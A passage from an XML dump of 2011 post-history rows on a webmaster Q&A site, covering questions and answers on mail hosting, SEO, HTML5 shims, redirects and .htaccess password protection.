good webmail and preferably a decent mobile interface&#xD;&#xA;&#xD;&#xA;* Price up to 20€/account/year (up to 50€/account/year with shared calendars and docs), min space 1Gb/account&#xD;&#xA;&#xD;&#xA;* Control panel with 3 user levels &#xD;&#xA;     - us (reseller, global admin): to manage all 500 domains and their 2000 accounts&#xD;&#xA;     - domain admin: ability to administrate all the mailboxes (accounts) in their domain &#xD;&#xA;     - user panel: for the mail user to manage passwords, autoresponders...&#xD;&#xA;&#xD;&#xA; &amp;nbsp;&#xD;&#xA;* API: We have hosting plans with DNS templates in our PBA environment. These automatically point the MX-records to the mailprovider (the rest to our webservers, such as www, ftp and so on), so there must be an easy way to start new domains at the mailprovider, preferably by a script on our server. &#xD;&#xA;&#xD;&#xA;I guess the initial migration to the new mailprovider is going to be a pain in the behind. We do get our current account data exported as XML and CSV, but what about the other end, any services with migration tools? &#xD;&#xA;&#xD;&#xA;Cheers!&#xD;&#xA;Rob&#xD;&#xA;" />
  <row Id="26652" PostHistoryTypeId="2" PostId="11725" RevisionGUID="9d2d4b1c-6da1-4487-a617-644a087580ed" CreationDate="2011-04-06T09:58:33.593" UserId="6616" Text="Go to the domain controller or DNS management in your godaddy account and set the Name Server (NS) address to point the Name Servers of Media Temple." />
  <row Id="26653" PostHistoryTypeId="5" PostId="11714" RevisionGUID="3af05047-be56-4fe5-bc81-a3dccd7ac96e" CreationDate="2011-04-06T10:01:40.683" UserId="6614" Comment="improved formatting; deleted 52 characters in body" Text="Short background:   &#xD;&#xA;We are a small webhosting company serving NGOs. We have over 2000 mailboxes on 500 domains. Our biggest problem is the crappy Horde webmail we provide to our customers today. Our server provider is married with Parallels PLESK and PBA suites, and cannot integrate another webmail than Horde to their offering. &#xD;&#xA;&#xD;&#xA;So we want to provide a better mailservice (especially webmail and mobile mail).   &#xD;&#xA;Now, we love gmail and Google Apps, but as far as I can decipher online there is no way to manage this many domains and accounts centraliced through their admin panels, or is there? Google is not ansvering my questions on this, I guess theyre not intesrested in dealing with small companies like ours.&#xD;&#xA;&#xD;&#xA;**What we need is:** &#xD;&#xA;&#xD;&#xA;* A mail service that has good webmail and preferably a decent mobile interface&#xD;&#xA;&#xD;&#xA;* Price up to 20€/account/year (up to 50€/account/year with shared calendars and docs), min space 1Gb/account&#xD;&#xA;&#xD;&#xA;* Control panel with 3 user levels &#xD;&#xA;     - us (reseller, global admin): to manage all 500 domains and their 2000 accounts&#xD;&#xA;     - domain admin: ability to administrate all the mailboxes (accounts) in their domain &#xD;&#xA;     - user panel: for the mail user to manage passwords, autoresponders...&#xD;&#xA;&#xD;&#xA; &amp;nbsp;&#xD;&#xA;* API: We have hosting plans with DNS templates in our PBA environment. These automatically point the MX-records to the mailprovider (the rest to our webservers, such as www, ftp and so on), so there must be an easy way to start new domains at the mailprovider, preferably by a script on our server. &#xD;&#xA;&#xD;&#xA;I guess the initial migration to the new mailprovider is going to be a pain in the behind. We do get our current account data exported as XML and CSV, but what about the other end, any services with migration tools? &#xD;&#xA;&#xD;&#xA;Cheers!&#xD;&#xA;Rob&#xD;&#xA;" />
  <row Id="26654" PostHistoryTypeId="6" PostId="7244" RevisionGUID="e9fdc38c-13c2-4a16-8adb-d0c74cc7cb56" CreationDate="2011-04-06T10:05:34.143" UserId="5739" Comment="edited tags" Text="&lt;cpanel&gt;&lt;cron&gt;" />
  <row Id="26657" PostHistoryTypeId="2" PostId="11728" RevisionGUID="1eca491e-2763-40b5-a31e-0c3d31e82162" CreationDate="2011-04-06T11:27:39.990" UserId="3659" Text="I have optimized a website and have included toggled content. By toggled content I mean content that becomes visible after clicking a link (Expand and Collaps). The code is as followings:&#xD;&#xA;&#xD;&#xA;    &lt;li id=&quot;article-1&quot;&gt; &#xD;&#xA;    &lt;h3&gt;&lt;a href=&quot;&quot; onClick=&quot;$('#article-1 p').not(':first').toggle(); return false;&quot;&gt;Article title&lt;/a&gt;&lt;/h3&gt; &#xD;&#xA;    &lt;p&gt;First paragraph&lt;/p&gt; &#xD;&#xA;    &lt;p&gt;Second paragraph&lt;/p&gt; &#xD;&#xA;    &lt;p&gt;Third paragraph&lt;/p&gt; &#xD;&#xA;    &lt;/li&gt;&#xD;&#xA;&#xD;&#xA;Would Google consider this content less valuable since it is not 'directly' visible? Are there any key concepts to keep in mind when working with toggled content?" />
  <row Id="26658" PostHistoryTypeId="1" PostId="11728" RevisionGUID="1eca491e-2763-40b5-a31e-0c3d31e82162" CreationDate="2011-04-06T11:27:39.990" UserId="3659" Text="Google on toggled content" />
  <row Id="26659" PostHistoryTypeId="3" PostId="11728" RevisionGUID="1eca491e-2763-40b5-a31e-0c3d31e82162" CreationDate="2011-04-06T11:27:39.990" UserId="3659" Text="&lt;google&gt;&lt;content&gt;" />
  <row Id="26660" PostHistoryTypeId="2" PostId="11729" RevisionGUID="c3cc8fad-d675-4cae-b600-371a584a9a80" CreationDate="2011-04-06T11:40:32.170" UserId="4033" Text="I was toying with the idea of switching to html5. It seems there are 2 major scripts for dealing with supporting html5 on older browsers.&#xD;&#xA;&#xD;&#xA;Modernizr and Html5Shiv&#xD;&#xA;&#xD;&#xA;I was wondering if they do the same thing. Which one to choose and why?&#xD;&#xA;&#xD;&#xA;Any ideas?" />
  <row Id="26661" PostHistoryTypeId="1" PostId="11729" RevisionGUID="c3cc8fad-d675-4cae-b600-371a584a9a80" CreationDate="2011-04-06T11:40:32.170" UserId="4033" Text="What's the difference between Modernizr and Html5Shiv" />
  <row Id="26662" PostHistoryTypeId="3" PostId="11729" RevisionGUID="c3cc8fad-d675-4cae-b600-371a584a9a80" CreationDate="2011-04-06T11:40:32.170" UserId="4033" Text="&lt;html5&gt;" />
  <row Id="26663" PostHistoryTypeId="6" PostId="11728" RevisionGUID="482efea9-43f5-48fb-8c85-87daaf3a2416" CreationDate="2011-04-06T11:46:32.580" UserId="3659" Comment="Added the 'SEO' tag" Text="&lt;seo&gt;&lt;google&gt;&lt;content&gt;" />
  <row Id="26664" PostHistoryTypeId="25" PostId="11714" RevisionGUID="bdb40c7d-bbac-4a45-8881-62eb060d0834" CreationDate="2011-04-06T12:09:01.960" Comment="http://twitter.com/#!/StackWebmasters/status/55602911455092736" />
  <row Id="26667" PostHistoryTypeId="2" PostId="11730" RevisionGUID="2d8bfc8c-3519-4f07-a8b0-5bc7697119ab" CreationDate="2011-04-06T12:20:43.127" UserId="6620" Text="My company has a facebook appearance where we recently added reviews.  So far, we have been posted 6 reviews. We'd like to get the &quot;Review Summary&quot; that is shown on the left side of the page, but we can't figure out how to accomplish that.&#xD;&#xA;Does anyone know how to do that?" />
  <row Id="26668" PostHistoryTypeId="1" PostId="11730" RevisionGUID="2d8bfc8c-3519-4f07-a8b0-5bc7697119ab" CreationDate="2011-04-06T12:20:43.127" UserId="6620" Text="Get Review Summary for a facebook page" />
  <row Id="26669" PostHistoryTypeId="3" PostId="11730" RevisionGUID="2d8bfc8c-3519-4f07-a8b0-5bc7697119ab" CreationDate="2011-04-06T12:20:43.127" UserId="6620" Text="&lt;facebook&gt;&lt;website-review&gt;" />
  <row Id="26670" PostHistoryTypeId="2" PostId="11731" RevisionGUID="d96144f6-2e3c-4bad-a464-1ee16eb2b0be" CreationDate="2011-04-06T12:42:16.790" UserId="6621" Text="When should I use a dynamic layout? And when the fixed one?&#xD;&#xA;Thank you!&#xD;&#xA;" />
  <row Id="26671" PostHistoryTypeId="1" PostId="11731" RevisionGUID="d96144f6-2e3c-4bad-a464-1ee16eb2b0be" CreationDate="2011-04-06T12:42:16.790" UserId="6621" Text="Dynamic and Fixed Layout" />
  <row Id="26672" PostHistoryTypeId="3" PostId="11731" RevisionGUID="d96144f6-2e3c-4bad-a464-1ee16eb2b0be" CreationDate="2011-04-06T12:42:16.790" UserId="6621" Text="&lt;css&gt;" />
  <row Id="26673" PostHistoryTypeId="2" PostId="11732" RevisionGUID="2d7bb97a-3203-4df6-8e69-09e0b3bc2ff1" CreationDate="2011-04-06T13:00:03.513" UserDisplayName="shijuse" Text="I transferred  one sever to godaddy and i configured google apps in old sever..now i have to transfer google apps to godaddy ..i change the Mx mail in DNS but its not working. I can send the mail from google apss but not receiving the mails .How to configure this ?" />
  <row Id="26674" PostHistoryTypeId="1" PostId="11732" RevisionGUID="2d7bb97a-3203-4df6-8e69-09e0b3bc2ff1" CreationDate="2011-04-06T13:00:03.513" UserDisplayName="shijuse" Text="How to transfer google apps to Godaddy" />
  <row Id="26675" PostHistoryTypeId="3" PostId="11732" RevisionGUID="2d7bb97a-3203-4df6-8e69-09e0b3bc2ff1" CreationDate="2011-04-06T13:00:03.513" UserDisplayName="shijuse" Text="&lt;godaddy&gt;" />
  <row Id="26676" PostHistoryTypeId="17" PostId="11732" RevisionGUID="9bb941e0-f84d-4463-8810-5d2a152e82ac" CreationDate="2011-04-06T13:12:21.853" UserId="-1" Comment="from http://stackoverflow.com/questions/5566752/how-to-transfer-google-apps-to-godaddy" Text="" />
  <row Id="26677" PostHistoryTypeId="6" PostId="11731" RevisionGUID="a9182043-bd2e-41e7-b4e7-dda48e2aef12" CreationDate="2011-04-06T13:14:35.823" UserId="1253" Comment="removed &quot;css&quot; tag, added &quot;website-design&quot; tag" Text="&lt;website-design&gt;" />
  <row Id="26678" PostHistoryTypeId="2" PostId="11733" RevisionGUID="df9e341d-c208-4254-8e96-18519ebdd245" CreationDate="2011-04-06T13:15:57.400" UserId="1253" Text="This content isn't special, good or bad, in any way. The only time hidden content becomes a problem is when it is hidden for sole purpose of manipulating the search results. " />
  <row Id="26679" PostHistoryTypeId="6" PostId="11729" RevisionGUID="b16b0802-1ecf-4457-8dc2-96ece0337446" CreationDate="2011-04-06T13:17:51.047" UserId="1253" Comment="added &quot;modernizr html5shiv&quot; tags" Text="&lt;html5&gt;&lt;modernizr&gt;&lt;html5shiv&gt;" />
  <row Id="26680" PostHistoryTypeId="6" PostId="11714" RevisionGUID="30045395-45b5-4724-b82c-af66d704ee3d" CreationDate="2011-04-06T13:19:49.520" UserId="1253" Comment="removed &quot;domain &quot; tag, added &quot;webmail&quot; tag" Text="&lt;email&gt;&lt;webmail&gt;" />
  <row Id="26681" PostHistoryTypeId="5" PostId="11732" RevisionGUID="23f69588-5371-4e06-9f18-a0faa28424cf" CreationDate="2011-04-06T13:23:37.630" UserId="3922" Comment="grammar &amp; punctuation" Text="I transferred  one sever to GoDaddy and I configured Google Apps on the old sever.  Now I have to transfer Google Apps to GoDaddy.  I changed the Mx mail on the DNS but it's not working.  I can send mail from Google Apps but I'm not receiving any mail.  How do I configure this?" />
  <row Id="26682" PostHistoryTypeId="24" PostId="11732" RevisionGUID="23f69588-5371-4e06-9f18-a0faa28424cf" CreationDate="2011-04-06T13:23:37.630" Comment="Proposed by 3922 approved by 1253 edit id of 98" />
  <row Id="26683" PostHistoryTypeId="2" PostId="11734" RevisionGUID="99327dca-7020-4f53-ac9c-b0ebc884d1ab" CreationDate="2011-04-06T13:31:49.373" UserId="43" Text="The situation:&#xD;&#xA;&#xD;&#xA;A site with an inventory page, which lists items for sale. Each item description includes a link to a spec sheet which can be downloaded in .pdf form. However, those items are eventually removed from the page, and the corresponding spec sheets become not available. This triggers a crawl error in Google webmaster tools, because it knows about the links, but gets a 404 error when it tries to visit them.&#xD;&#xA;&#xD;&#xA;Should I instead return a 410 Gone error code? Should those links (to the downloadable .pdf file) be nofollowed from the very beginning, since Google can't index the documents?" />
  <row Id="26684" PostHistoryTypeId="1" PostId="11734" RevisionGUID="99327dca-7020-4f53-ac9c-b0ebc884d1ab" CreationDate="2011-04-06T13:31:49.373" UserId="43" Text="What should be done with URLs that no longer exist on a site?" />
  <row Id="26685" PostHistoryTypeId="3" PostId="11734" RevisionGUID="99327dca-7020-4f53-ac9c-b0ebc884d1ab" CreationDate="2011-04-06T13:31:49.373" UserId="43" Text="&lt;seo&gt;" />
  <row Id="26686" PostHistoryTypeId="2" PostId="11735" RevisionGUID="1030741e-fd7e-4765-82a7-55d03da4939f" CreationDate="2011-04-06T13:32:38.853" UserId="6623" Text="This question is very newbie level - I want to understand a fundamental thing that bothers me big time.&#xD;&#xA;&#xD;&#xA;Many years ago when I needed a simplest website I just used Netscape Composer to create a set of .htm files, then uploaded those file to the website root via FTP - and I've got a site. That was my only experience of building a website.&#xD;&#xA;&#xD;&#xA;Now every here and there I hear about &quot;website engines&quot; - even when simplest sites consisting of say five pages are discussed. I guess a &quot;website engine&quot; is some complex system that facilitates storing and managing numerous pieces of content and serving some aggregations of them to the users. I don't get why I need anything like that for a very simple website with five pages and ten pictures.&#xD;&#xA;&#xD;&#xA;What's the &quot;website engine&quot;, why do I need it and why can't I get without it?" />
  <row Id="26687" PostHistoryTypeId="1" PostId="11735" RevisionGUID="1030741e-fd7e-4765-82a7-55d03da4939f" CreationDate="2011-04-06T13:32:38.853" UserId="6623" Text="What does the site &quot;engine&quot; do and why can't I just create a set of pages?" />
  <row Id="26688" PostHistoryTypeId="3" PostId="11735" RevisionGUID="1030741e-fd7e-4765-82a7-55d03da4939f" CreationDate="2011-04-06T13:32:38.853" UserId="6623" Text="&lt;html&gt;&lt;web-development&gt;" />
  <row Id="26689" PostHistoryTypeId="2" PostId="11736" RevisionGUID="b12e0d44-22cc-4aaa-8cd4-9b63a189428c" CreationDate="2011-04-06T13:41:22.863" UserId="6625" Text="We needed a solution for an online tournament software system.  We have been super happy with [Tournament-Bracket-Maker.com][1] for our tournament website. &#xD;&#xA;&#xD;&#xA;If you go on [tournament-bracket-maker.com][2] it will direct you to the guys who can build a website for a tournament.  It was only like $400 and it took ALL the hassle out of running a tournament online. &#xD;&#xA;&#xD;&#xA;We just put the tournament draws online, schedules, even things like a Google map for directions and could even upload sponsor images.&#xD;&#xA;&#xD;&#xA;You should check them out.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tournament-bracket-maker.com&#xD;&#xA;  [2]: http://tournament-bracket-maker.com" />
  <row Id="26690" PostHistoryTypeId="2" PostId="11737" RevisionGUID="7822a0c0-4867-4b69-9634-3af00e373be1" CreationDate="2011-04-06T13:50:28.247" UserId="6624" Text="Plain static sites such as the ones you created with Netscape Composer will still work just fine.  There is no technical barrier to putting one up -- just edit together some HTML files, upload, and voila.&#xD;&#xA;&#xD;&#xA;The &quot;site engines&quot; you refer to are likely &quot;content management systems&quot; such as &lt;a href=&quot;http://drupal.org/&quot;&gt;Drupal&lt;/a&gt; and similar. They are increasingly being used even for small sites because they can greatly simplify site maintenance.  They offer in-browser editing of a page's content without any particular need to know HTML; the CMS offers WYSIWYG controls very much like the ones that you use here on this site (Bold/Italic buttons, live previews, and so on).&#xD;&#xA;&#xD;&#xA;They also offer a wide range of expanded abilities, such as automatic creation of RSS feeds to syndicate your site's content, specialized modules for managing the workflow that goes into posting new pages, image management, and so on.&#xD;&#xA;&#xD;&#xA;The tradeoff comes in the form of increased complexity.  A CMS will typically require a a database, a correctly configured scripting environment (PHP being most common), and creating a series of &quot;template&quot; files defining the site's look and feel.  Creating those template files (or &quot;theming&quot; the site) varies in difficulty depending on the CMS, but it always assumes that you have at least a basic understanding of the scripting language the CMS is written in, and also how the theme system for that CMS works.  So -- the initial setup is more complicated compared to just uploading a bunch of static files.&#xD;&#xA;&#xD;&#xA;The deciding factors are, basically, the size of the site and the technical proficiency of its maintainers.  If it's a small site maintained by people who are comfortable editing the pages directly, then a CMS may not be worth it.  But if it's a large site with a group of non-technical people who need to maintain it over time, then a CMS is well worth the trouble." />
  <row Id="26691" PostHistoryTypeId="2" PostId="11738" RevisionGUID="35bc7fd9-294c-41d8-865f-18eac82c8486" CreationDate="2011-04-06T14:22:30.430" UserId="6335" Text="I'm using hidden forms, to collects some statistics.&#xD;&#xA;&#xD;&#xA;Will it have any penalty from search engines ?" />
  <row Id="26692" PostHistoryTypeId="1" PostId="11738" RevisionGUID="35bc7fd9-294c-41d8-865f-18eac82c8486" CreationDate="2011-04-06T14:22:30.430" UserId="6335" Text="Hidden form and SEO" />
  <row Id="26693" PostHistoryTypeId="3" PostId="11738" RevisionGUID="35bc7fd9-294c-41d8-865f-18eac82c8486" CreationDate="2011-04-06T14:22:30.430" UserId="6335" Text="&lt;seo&gt;" />
  <row Id="26694" PostHistoryTypeId="2" PostId="11739" RevisionGUID="c7df3ac4-6b24-4e5c-80b3-4faf54b77b7a" CreationDate="2011-04-06T14:27:38.933" UserDisplayName="user616440" Text="I have developed a website and don't know how to get the website reviews and articles written about my website... its for placing the website on better on SEO.&#xD;&#xA;&#xD;&#xA;Please suggest.&#xD;&#xA;&#xD;&#xA;Kindly forgive if i have as this in the wrong place. i am not sure where to ask." />
  <row Id="26695" PostHistoryTypeId="1" PostId="11739" RevisionGUID="c7df3ac4-6b24-4e5c-80b3-4faf54b77b7a" CreationDate="2011-04-06T14:27:38.933" UserDisplayName="user616440" Text="how and where to get website reviews and articles written" />
  <row Id="26696" PostHistoryTypeId="3" PostId="11739" RevisionGUID="c7df3ac4-6b24-4e5c-80b3-4faf54b77b7a" CreationDate="2011-04-06T14:27:38.933" UserDisplayName="user616440" Text="&lt;java&gt;&lt;php&gt;&lt;web&gt;&lt;seo&gt;&lt;search-engine&gt;" />
  <row Id="26697" PostHistoryTypeId="17" PostId="11739" RevisionGUID="12116ca5-ae17-4770-b989-f12447ac3482" CreationDate="2011-04-06T14:30:02.630" UserId="-1" Comment="from http://stackoverflow.com/questions/5568007/how-and-where-to-get-website-reviews-and-articles-written" Text="" />
  <row Id="26698" PostHistoryTypeId="2" PostId="11740" RevisionGUID="d40acb32-0a40-42fe-bbd3-e87b75aff84b" CreationDate="2011-04-06T14:37:28.253" UserId="1803" Text="Modernizr is used to check the availability of HTML5 features in different rendering engines. It includes a script like Html5Shiv, which (only) enables HTML5 tags on Microsoft Internet Explorer (prior to version 9, which knew HTML5). See also [&quot;How to get HTML5 working in IE and Firefox 2&quot;][1].&#xD;&#xA;&#xD;&#xA;If you just want to enable HTML5 for IE &lt; 9, then Html5Shiv would be sufficient. I'm using the [Html5Shiv version by Remy Sharp][2] within a MS conditional comment:&#xD;&#xA;&#xD;&#xA;    &lt;!--[if lte IE 8]&gt;&#xD;&#xA;        &lt;script src=&quot;templates/js/html5.js&quot;&gt;&lt;/script&gt;&#xD;&#xA;    &lt;![endif]--&gt;&#xD;&#xA;&#xD;&#xA;If you also want to check (via CSS or JS), if the clients browser is capable of e.g. [HTML5-form-elements][3] (like Operas date input), CSS3 columns or gradients, then use [Modernizr][4].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://html5doctor.com/how-to-get-html5-working-in-ie-and-firefox-2/&#xD;&#xA;  [2]: http://remysharp.com/2009/01/07/html5-enabling-script/&#xD;&#xA;  [3]: http://diveintohtml5.org/forms.html&#xD;&#xA;  [4]: http://www.modernizr.com/docs/" />
  <row Id="26699" PostHistoryTypeId="6" PostId="11739" RevisionGUID="db4e279c-3d99-4f88-8d0a-f8fdec20a4cf" CreationDate="2011-04-06T14:38:05.100" UserId="1253" Comment="removed &quot;java php web seo search-engine&quot; tags, added &quot;articles content &quot; tags" Text="&lt;content&gt;&lt;articles&gt;" />
  <row Id="26700" PostHistoryTypeId="6" PostId="11739" RevisionGUID="744af483-2758-4416-a4e1-3959ab990744" CreationDate="2011-04-06T14:48:07.873" UserId="1253" Comment="edited tags" Text="&lt;seo&gt;&lt;marketing&gt;" />
  <row Id="26701" PostHistoryTypeId="2" PostId="11741" RevisionGUID="1f19211d-3187-44e5-9a27-2f8381eed98f" CreationDate="2011-04-06T14:49:23.897" UserId="1253" Text="You'll want to find websites that do reviews and write about whatever your website is about. These websites may not actually exist. There's not a whole lot of websites out there that like to write about other websites so if you don't find any it shouldn't be a surprise to you." />
  <row Id="26702" PostHistoryTypeId="2" PostId="11742" RevisionGUID="6114e7eb-7ea7-40e9-a1ac-488830529895" CreationDate="2011-04-06T14:52:33.020" UserId="1253" Text="If there are other item the user may be interested in you can do a 410 error and display a page that shows them other potentially similar documents/products they may wish to view. That way you potentially can still convert those users into sales." />
  <row Id="26703" PostHistoryTypeId="2" PostId="11743" RevisionGUID="dbc893ad-95d3-4e7a-ac3a-6454808b2546" CreationDate="2011-04-06T14:53:21.337" UserId="1803" Text="What about a mix-up? This displays the #content-section in a fixed width (70em) if there is enough room - otherwise the section is shrinked to 80% of the view-port/browser window.&#xD;&#xA;&#xD;&#xA;    #content {&#xD;&#xA;        margin: 0 auto 2em 0;&#xD;&#xA;        width: 70em;&#xD;&#xA;        max-width: 80%; }" />
  <row Id="26708" PostHistoryTypeId="5" PostId="11706" RevisionGUID="15f8fd72-74ae-4883-80a8-590b43eb3e45" CreationDate="2011-04-06T15:08:50.017" UserId="6604" Comment="Updating with partial answer." Text="I encountered this same behavior years ago and gave up back then when I couldn't find a solution. I'm hoping someone knows what's going on here and how to solve it.&#xD;&#xA;&#xD;&#xA;I have found that if you have a page in Firefox that contains an iframe and in that iframe you load a sub-page that redirects to a second sub-page, you will never see the first sub-page again if you hit &quot;reload/refresh&quot;. The only way to see the first sub-page again is to close the window/tab and reopen the parent page. It seems that if you reload a page Firefox will *always* jump straight to the second sub-page every time. This happens even if you subsequently change the initial iframe URL in the parent document. And this **even** happens if you change the URL **and** clear your cache. &#xD;&#xA;&#xD;&#xA;When I encountered this problem before, it was causing issues with our ad serving, but this time it's a content issue. Has anyone encountered this themselves and know a way around it? &#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;**[EDIT]**&#xD;&#xA;&#xD;&#xA;I've created thee files you can use to test the iframe behavior, but you'll need to work with an html page of your own on web server you control so you can make changes and test behavior.&#xD;&#xA;&#xD;&#xA;The files I'm using are:&#xD;&#xA;&#xD;&#xA; 1. `http://www.fatfx.com/tests/doc1.html` -- this redirects to doc2.html after 5 seconds&#xD;&#xA; 2. `http://www.fatfx.com/tests/doc2.html` -- static file&#xD;&#xA; 3. `http://www.fatfx.com/tests/doc2.html` -- static file&#xD;&#xA;&#xD;&#xA;**Instructions:**&#xD;&#xA;&#xD;&#xA; 1. Create an HTML document and put this in its body:&#xD;&#xA;`&lt;iframe src=&quot;http://www.fatfx.com/tests/doc1.html&quot; width=&quot;300&quot; height=&quot;300&quot; /&gt;`&#xD;&#xA; 2. Load in Firefox. You should see `This is document one. Redirecting in 5 seconds...` and then `This is document two.`&#xD;&#xA; 3. Hit 'Reload'. You should see immediately `This is document two`.&#xD;&#xA; 4. Clear you cache and hit 'Reload'. You should see immediately `This is document two`.&#xD;&#xA; 5. Edit your document and change the URL from `doc1.html` to `doc3.html`. &#xD;&#xA; 6. Clear your cache and hit &quot;Reload&quot; in Firefox. You should STILL immediately see `This is document two.` Check your page source to confirm your code change from step 5 is there.&#xD;&#xA;&#xD;&#xA;**Notes:**&#xD;&#xA;I've tried altering the iframe tag by adding a unique ID; that didn't work. I've tried adding Cache-Control, Pragma and Expires meta tags to prevent document caching; that didn't work. I've tried writing out the tags programatically in JS; that didn't work. &#xD;&#xA;&#xD;&#xA;As I say, I encountered this behavior probably three years ago. This can't be a 'bug' but a desired behavior. But there must be some way around it.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;**Edit 2**&#xD;&#xA;&#xD;&#xA;It appears this is a known bug with Mozilla, first logged in 2005. It reportedly has been patched in FF4.0, though I can't confirm personally as I haven't loaded this yet on my own machine. The Bugzilla report [can be found here](https://bugzilla.mozilla.org/show_bug.cgi?id=279048).&#xD;&#xA;&#xD;&#xA;If anyone does know of a work-around, please let me know and I'll mark this as answered.&#xD;&#xA;" />
  <row Id="26709" PostHistoryTypeId="25" PostId="11735" RevisionGUID="84e267b2-b445-4f2f-8da8-d040f1a03f62" CreationDate="2011-04-06T15:09:02.723" Comment="http://twitter.com/#!/StackWebmasters/status/55648213620891648" />
  <row Id="26710" PostHistoryTypeId="2" PostId="11745" RevisionGUID="ec30b1db-3ffc-485a-ae61-f1fea612c03a" CreationDate="2011-04-06T15:09:54.873" UserId="1643" Text="The advantage of a dynamic layout is that it works across all screen sizes, including mobile devices. It's harder work though to make things look good at all those sizes. The question to ask is - are your visitors going to be using mobile devices?" />
  <row Id="26711" PostHistoryTypeId="2" PostId="11746" RevisionGUID="deecb2cd-1d10-486f-8497-aa27f6322cd6" CreationDate="2011-04-06T15:27:01.093" UserId="5026" Text="I was developing a Joomla site in /new/ which was to replace the Mambo site in the root directory.  I thought I put a robots file there to stop bots from crawling the new site, but this is not the case.&#xD;&#xA;&#xD;&#xA;The new site has since been moved into the root directory, and the old site has temporarily been moved into /old/&#xD;&#xA;&#xD;&#xA;How do I remove all mention of pages under /new/ from Google's index?  I know Google Webmaster Tools allows you to remove individual pages, but I don't know if this applies to individual directories also.&#xD;&#xA;&#xD;&#xA;Is it quicker to place an .htaccess file in this folder with a catchall 301 redirect to / ?" />
  <row Id="26712" PostHistoryTypeId="1" PostId="11746" RevisionGUID="deecb2cd-1d10-486f-8497-aa27f6322cd6" CreationDate="2011-04-06T15:27:01.093" UserId="5026" Text="Remove directory from Google SE results" />
  <row Id="26713" PostHistoryTypeId="3" PostId="11746" RevisionGUID="deecb2cd-1d10-486f-8497-aa27f6322cd6" CreationDate="2011-04-06T15:27:01.093" UserId="5026" Text="&lt;google-webmaster-tools&gt;&lt;redirects&gt;" />
  <row Id="26714" PostHistoryTypeId="2" PostId="11747" RevisionGUID="0861a02c-358c-405d-959e-2ced31c0e33d" CreationDate="2011-04-06T15:30:31.130" UserId="1253" Text="Definitely do a 301 redirect from the old URLs (those in the /new/ directory) to the new URLs (those in the / directory). This will:&#xD;&#xA;&#xD;&#xA; - Tell Google those pages have moved and to update their index&#xD;&#xA; - Help anyone who finds the old URLs in the search results to find the new URLs (they will be automatically redirected to the URL)&#xD;&#xA;&#xD;&#xA;This process will be seamless, too, which is nice. And a simple rule in an .htaccess file should take care of it.&#xD;&#xA;" />
  <row Id="26715" PostHistoryTypeId="2" PostId="11748" RevisionGUID="77a04625-07b7-4d24-b0bf-46899435b922" CreationDate="2011-04-06T15:53:22.947" UserId="5026" Text="I used http://www.htaccesstools.com/ to create a .htpasswd file, which I uploaded to the root of my web hosting space, where /public_html is my web root.&#xD;&#xA;&#xD;&#xA;I created a .htaccess file which referenced the .htpasswd as follows:&#xD;&#xA;&#xD;&#xA;    AuthType Basic&#xD;&#xA;    AuthName &quot;Protected Area&quot;&#xD;&#xA;    AuthUserFile /.htpasswd&#xD;&#xA;    Require valid-user&#xD;&#xA;&#xD;&#xA;However, when I uploaded this .htaccess file to the directory I want to protect, and then loaded the directory with it's URL, I received a 500 internal server error.  I have used this same method before successfully.&#xD;&#xA;&#xD;&#xA;Am I referencing the .htpasswd incorrectly?  I also uploaded it to /public_html/ in case .htaccess interprets / as the web root, but the error remains.&#xD;&#xA;&#xD;&#xA;Any ideas what is wrong?" />
  <row Id="26716" PostHistoryTypeId="1" PostId="11748" RevisionGUID="77a04625-07b7-4d24-b0bf-46899435b922" CreationDate="2011-04-06T15:53:22.947" UserId="5026" Text=".htaccess password protection generates 500 internal server error" />
  <row Id="26717" PostHistoryTypeId="3" PostId="11748" RevisionGUID="77a04625-07b7-4d24-b0bf-46899435b922" CreationDate="2011-04-06T15:53:22.947" UserId="5026" Text="&lt;htaccess&gt;&lt;error&gt;" />
  <row Id="26718" PostHistoryTypeId="2" PostId="11749" RevisionGUID="7c2580ce-addf-4ec3-9f45-0a0444adadf1" CreationDate="2011-04-06T16:22:07.113" UserId="118" Text="You might also want to check out [html5boilerplate.com][1], a good resource for starting with html5 sites, they provide toggleable choices like html5 shiv or modernizr along with many other baseline improvements.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://html5boilerplate.com/" />
  <row Id="26719" PostHistoryTypeId="2" PostId="11750" RevisionGUID="e966961f-9158-4d6b-a75e-9208d4524bee" CreationDate="2011-04-06T16:25:37.603" UserId="1643" Text="The path after AuthUserFile is the place in the filesystem where the file lives, and you need to know where your web hosting space root really is. For example, when I FTP in to my space it looks like the root is / and the web root is /public_html, but in fact on the server the root is /home/companyname and the web root is /home/companyname/public_html. You will need to find out from your hosting company where the files really live. We have cPanel and when I go to the File Manager part I can see the real location for our files (/home/companyname)." />
  <row Id="26720" PostHistoryTypeId="5" PostId="11746" RevisionGUID="407b6a86-1c43-414e-aac0-25a7a5edc0dc" CreationDate="2011-04-06T16:41:03.527" UserId="5026" Comment="added 344 characters in body" Text="I was developing a Joomla site in /new/ which was to replace the Mambo site in the root directory.  I thought I put a robots file there to stop bots from crawling the new site, but this is not the case.&#xD;&#xA;&#xD;&#xA;The new site has since been moved into the root directory, and the old site has temporarily been moved into /old/&#xD;&#xA;&#xD;&#xA;How do I remove all mention of pages under /new/ from Google's index?  I know Google Webmaster Tools allows you to remove individual pages, but I don't know if this applies to individual directories also.&#xD;&#xA;&#xD;&#xA;Is it quicker to place an .htaccess file in this folder with a catchall 301 redirect to / ?&#xD;&#xA;&#xD;&#xA;**Update**:&#xD;&#xA;&#xD;&#xA;I've added individual 301 redirect entries to .htaccess to redirect the old site's pages to the new site's pages, but the old URLs still generate 404 errors.  Any ideas why?  The format I used was:&#xD;&#xA;&#xD;&#xA;    Redirect 301 http://www.site.com/old.htm http://www.site.com/new.htm &#xD;&#xA;&#xD;&#xA;I added these at the end of the .htaccess file." />
